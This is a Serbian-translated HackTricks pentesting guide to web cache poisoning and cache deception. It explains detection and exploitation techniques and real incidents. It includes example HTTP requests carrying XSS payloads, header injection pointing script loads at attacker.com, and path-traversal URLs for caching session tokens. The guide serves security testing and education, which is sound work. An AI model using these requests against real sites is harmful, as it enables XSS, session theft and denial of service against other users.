hacktricks/src/pentesting-web/cache-deception/README.md

# Cache Poisoning and Cache Deception

{{#include ../../banners/hacktricks-training.md}}

## Razlika

> **Koja je razlika između web cache poisoning i web cache deception?**
>
> - U **web cache poisoning**, napadač uzrokuje da aplikacija sačuva neki zlonamerni sadržaj u kešu, a ovaj sadržaj se servira iz keša drugim korisnicima aplikacije.
> - U **web cache deception**, napadač uzrokuje da aplikacija sačuva neki osetljiv sadržaj koji pripada drugom korisniku u kešu, a napadač zatim preuzima ovaj sadržaj iz keša.

## Cache Poisoning

Cache poisoning ima za cilj manipulaciju kešom na klijentskoj strani kako bi se primorali klijenti da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Stepen uticaja zavisi od popularnosti pogođene stranice, jer se kontaminirani odgovor servira isključivo korisnicima koji posećuju stranicu tokom perioda kontaminacije keša.

Izvršenje napada cache poisoning uključuje nekoliko koraka:

1. **Identifikacija Unkeyed Inputs**: Ovo su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji server vraća. Identifikacija ovih ulaza je ključna jer se mogu iskoristiti za manipulaciju kešom.
2. **Eksploatacija Unkeyed Inputs**: Nakon identifikacije unkeyed inputs, sledeći korak uključuje otkrivanje kako da se zloupotrebe ovi parametri kako bi se modifikovao odgovor servera na način koji koristi napadaču.
3. **Osiguranje da je Kontaminirani Odgovor Keširan**: Poslednji korak je osigurati da je manipulisan odgovor sačuvan u kešu. Na taj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš kontaminiran će primiti kontaminirani odgovor.

### Otkriće: Proverite HTTP zaglavlja

Obično, kada je odgovor **sačuvan u kešu**, biće **zaglavlje koje to označava**, možete proveriti koja zaglavlja treba da obratite pažnju u ovom postu: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).

### Otkriće: Kodovi grešaka u keširanju

Ako mislite da se odgovor čuva u kešu, mogli biste pokušati da **pošaljete zahteve sa lošim zaglavljem**, na koje bi trebalo da se odgovori sa **status kodom 400**. Zatim pokušajte da pristupite zahtevu normalno i ako je **odgovor status kod 400**, znate da je ranjiv (i mogli biste čak izvršiti DoS).

Možete pronaći više opcija u:

{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}

Međutim, imajte na umu da **ponekad ovi tipovi status kodova nisu keširani**, tako da ovaj test možda neće biti pouzdan.

### Otkriće: Identifikujte i procenite unkeyed inputs

Možete koristiti [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) da **brute-force-ujete parametre i zaglavlja** koja mogu **menjati odgovor stranice**. Na primer, stranica može koristiti zaglavlje `X-Forwarded-For` da označi klijentu da učita skriptu odatle:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Izazivanje štetnog odgovora sa back-end servera

Sa identifikovanim parametrom/hedrom proverite kako se **sanitizuje** i **gde** se **odražava** ili utiče na odgovor iz hedera. Možete li to zloupotrebiti na bilo koji način (izvršiti XSS ili učitati JS kod koji kontrolišete? izvršiti DoS?...)

### Dobijanje keširanog odgovora

Kada identifikujete **stranicu** koja može biti zloupotrebljena, koji **parametar**/**heder** koristiti i **kako** ga **zloupotrebiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi.

Heder **`X-Cache`** u odgovoru može biti veoma koristan jer može imati vrednost **`miss`** kada zahtev nije keširan i vrednost **`hit`** kada je keširan.\
Heder **`Cache-Control`** je takođe zanimljiv da se zna da li se resurs kešira i kada će sledeći put biti keširan: `Cache-Control: public, max-age=1800`

Još jedan zanimljiv heder je **`Vary`**. Ovaj heder se često koristi da **naznači dodatne hedere** koji se tretiraju kao **deo keš ključa** čak i ako su obično neklučni. Stoga, ako korisnik zna `User-Agent` žrtve koju cilja, može otrovati keš za korisnike koji koriste taj specifični `User-Agent`.

Još jedan heder povezan sa kešom je **`Age`**. Definiše vreme u sekundama koliko je objekat bio u proxy kešu.

Kada keširate zahtev, budite **oprezni sa hederima koje koristite** jer neki od njih mogu biti **nepredviđeno** korišćeni kao **ključni** i **žrtva će morati da koristi taj isti heder**. Uvek **testirajte** Cache Poisoning sa **različitim pretraživačima** da proverite da li funkcioniše.

## Primeri eksploatacije

### Najlakši primer

Heder poput `X-Forwarded-For` se odražava u odgovoru bez sanitizacije.\
Možete poslati osnovni XSS payload i otrovati keš tako da svako ko pristupi stranici bude XSS-ovan:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Napomena da će ovo otrovati zahtev za `/en?region=uk`, a ne za `/en`_

### Trovanje keša za DoS

{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}

### Trovanje keša kroz CDN-ove

U **[ovoj analizi](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** objašnjen je sledeći jednostavan scenario:

- CDN će keširati sve pod `/share/`
- CDN NEĆE dekodirati niti normalizovati `%2F..%2F`, stoga se može koristiti kao **putanja za pristup drugim osetljivim lokacijama koje će biti keširane** kao što je `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Web server ĆE dekodirati i normalizovati `%2F..%2F`, i odgovoriće sa `/api/auth/session`, koji **sadrži auth token**.

### Korišćenje trovanja web keša za iskorišćavanje ranjivosti u rukovanju kolačićima

Kolačići se takođe mogu odraziti na odgovoru stranice. Ako možete da ih iskoristite da izazovete XSS, na primer, mogli biste biti u mogućnosti da iskoristite XSS u nekoliko klijenata koji učitavaju zlonamerni keš odgovor.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Napomena da ako je ranjavi kolačić veoma korišćen od strane korisnika, redovni zahtevi će čistiti keš.

### Generisanje razlika sa delimiterima, normalizacijom i tačkama <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

Proverite:

{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}

### Trovanje keša sa prolazom kroz putanju za krađu API ključa <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do web servera.

Ovo je takođe bolje objašnjeno u:

{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}

### Korišćenje više zaglavlja za iskorišćavanje ranjivosti trovanja web keša <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

Ponekad ćete morati da **iskoristite nekoliko neključenih ulaza** kako biste mogli da zloupotrebite keš. Na primer, možete pronaći **Open redirect** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** **server** **prosledi** sve **HTTP** zahteve **na HTTPS** i koristi zaglavlje `X-Forwarded-Scheme` kao naziv domena za preusmeravanje. Možete kontrolisati gde je stranica usmerena preusmeravanjem.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Iskorišćavanje sa ograničenim `Vary` header-om

Ako ste otkrili da se **`X-Host`** header koristi kao **ime domena za učitavanje JS resursa**, ali **`Vary`** header u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da eksfiltrirate User-Agent žrtve i otrovate keš koristeći taj korisnički agent:
```html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Fat Get

Pošaljite GET zahtev sa zahtevom u URL-u i u telu. Ako veb server koristi onaj iz tela, ali server za keširanje kešira onaj iz URL-a, svako ko pristupi tom URL-u zapravo će koristiti parametar iz tela. Kao što je ranjivost koju je pronašao James Kettle na Github vebsajtu:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)

### Parameter Cloacking

Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti za stavljanje vrednosti neključenih parametara unutar ključnih i njihovo zloupotrebljavanje.

Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)

### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Saznajte ovde kako izvesti [Cache Poisoning napade zloupotrebom HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).

### Automated testing for Web Cache Poisoning

[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) može se koristiti za automatsko testiranje web cache poisoning-a. Podržava mnoge različite tehnike i veoma je prilagodljiv.

Primer korišćenja: `wcvs -u example.com`

## Vulnerable Examples

### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))

ATS je prosledio fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Tako je zahtev `/#/../?r=javascript:alert(1)` poslat backend-u kao `/#/../?r=javascript:alert(1)` i ključ keša nije imao payload unutar njega, samo host, putanju i upit.

### GitHub CP-DoS

Slanje loše vrednosti u headeru content-type izazvalo je 405 keširani odgovor. Ključ keša je sadržao kolačić, tako da je bilo moguće napasti samo neautentifikovane korisnike.

### GitLab + GCP CP-DoS

GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Kante** podržavaju **header `x-http-method-override`**. Tako je bilo moguće poslati header `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu `PURGE`.

### Rack Middleware (Ruby on Rails)

U Ruby on Rails aplikacijama, Rack middleware se često koristi. Svrha Rack koda je da uzme vrednost **`x-forwarded-scheme`** headera i postavi je kao shemu zahteva. Kada se pošalje header `x-forwarded-scheme: http`, dolazi do 301 preusmeravanja na istu lokaciju, što može izazvati Denial of Service (DoS) za taj resurs. Pored toga, aplikacija može priznati `X-forwarded-host` header i preusmeriti korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, što predstavlja sigurnosni rizik.

### 403 and Storage Buckets

Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa pogrešnim Authorization headerima rezultirao bi 403 odgovorom koji je keširan. Iako je Cloudflare prestao sa keširanjem 403 odgovora, ovo ponašanje može i dalje biti prisutno u drugim proxy servisima.

### Injecting Keyed Parameters

Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly's Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. `siz%65`) takođe poslata sa pogrešnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni `size` parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog `size` parametra dovelo je do njegovog izostavljanja od strane keša, ali njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom.

### User Agent Rules

Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima visoko prometnih alata kao što su FFUF ili Nuclei kako bi upravljali opterećenjem servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su keširanje i DoS.

### Illegal Header Fields

[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) definiše prihvatljive karaktere u nazivima headera. Headeri koji sadrže karaktere van specificiranog **tchar** opsega bi idealno trebali izazvati 400 Bad Request odgovor. U praksi, serveri ne prate uvek ovaj standard. Značajan primer je Akamai, koji prosleđuje header-e sa nevažećim karakterima i kešira svaku 400 grešku, sve dok `cache-control` header nije prisutan. Identifikovan je iskoristiv obrazac gde slanje headera sa nelegalnim karakterom, kao što je `\`, rezultira keširanom 400 Bad Request greškom.

### Finding new headers

[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)

## Cache Deception

Cilj Cache Deception-a je da natera klijente **da učitavaju resurse koji će biti sačuvani u kešu sa njihovim osetljivim informacijama**.

Prvo, imajte na umu da su **ekstenzije** kao što su `.css`, `.js`, `.png` itd. obično **konfigurisane** da budu **sačuvane** u **kešu.** Stoga, ako pristupite `www.example.com/profile.php/nonexistent.js`, keš će verovatno sačuvati odgovor jer vidi `.js` **ekstenziju**. Ali, ako se **aplikacija** **replay-uje** sa **osetljivim** korisničkim sadržajem sačuvanim u _www.example.com/profile.php_, možete **ukrasti** te sadržaje od drugih korisnika.

Druge stvari koje treba testirati:

- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Koristite manje poznate ekstenzije kao što su_ `.avif`

Još jedan vrlo jasan primer može se naći u ovom izveštaju: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
U primeru se objašnjava da ako učitate nepostojeću stranicu kao što je _http://www.example.com/home.php/non-existent.css_, sadržaj _http://www.example.com/home.php_ (**sa osetljivim informacijama korisnika**) će biti vraćen i keš server će sačuvati rezultat.\
Zatim, **napadač** može pristupiti _http://www.example.com/home.php/non-existent.css_ u svom pretraživaču i posmatrati **povjerljive informacije** korisnika koji su prethodno pristupili.

Imajte na umu da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što je očekivano za _.css_ datoteku).

Saznajte ovde kako izvesti [Cache Deceptions napade zloupotrebom HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).

## Automatic Tools

- [**toxicache**](https://github.com/xhzeem/toxicache): Golang skener za pronalaženje ranjivosti web cache poisoning u listi URL-ova i testiranje više tehnika injekcije.

## References

- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
- [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)


{{#include ../../banners/hacktricks-training.md}}